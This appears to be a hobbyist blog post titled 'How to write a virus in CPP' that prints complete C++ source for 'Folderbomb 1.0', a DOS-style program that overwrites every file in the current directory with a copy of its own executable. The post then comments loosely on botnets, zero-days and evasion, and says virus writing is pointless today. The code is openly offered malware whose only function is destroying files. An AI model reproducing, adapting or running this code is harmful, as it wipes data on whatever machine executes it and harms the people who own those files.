Quick Google Search

HOW TO WRITE A VIRUS IN CPP

Hey guys...,are you learning about programming on viruses.!! 0k..! Here is some source codes of a virus in C++. Learn it well. But dun run on your own computer. :P

Computer Virus (a software program capable of reproducing itself and usually capable of causing great harm to files or other programs on the same computer) "a true virus cannot spread to another computer without human assistance"


#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf("--------------------------------------------------------------------------");
printf("\nVirus: Folderbomb 1.0\nProgrammer:Shriraj Vitkar(utejasu@gmail.com)\n");
cprintf("--------------------------------------------------------------------------");
done = findfirst("*.*",&ffblk,0);
while (!done)
{ printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb");
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}


Because a lot of tutorials for writing viruses are left overs from the 90s. Virus writing these days is much much more sophisticated than it used to be.

In the old days the most common types of viruses were worms and trojans. These days it's bot nets. The old viruses were always coded by amateurs who were proving a point or trying to blackmail people etc. These days botnets are used to send spam, DDOS etc and are developed by professional developers for large amounts of cash.

Given that virus production is not a very profitable industry there is less and less willingness by people to share their secrets. Writing a virus is easy, writing code that by passes firewalls, anti-viruses, anti-malware, NATs is hard. Then you have to find a bunch of 0days to wrap it with so it has a viable means of replication.

Note 1: Deleting System32 on Windows Vista/7 should not work. The Operating System stores a complete redundant copy of all of them and replaces them if it notices that they have been modified. (Windows XP and 2000 may even do it too).

Note 2: Writing viruses is kinda of stupid these days. Modern day hackers are the people who create things like DropBox, Facebook, Google etc. The guys who push the limits of what we're already doing much further and make millions doing it. The guy writing a silly lil worm in his garage is what we see in movies, and what happened in the 90s. 

Popular Posts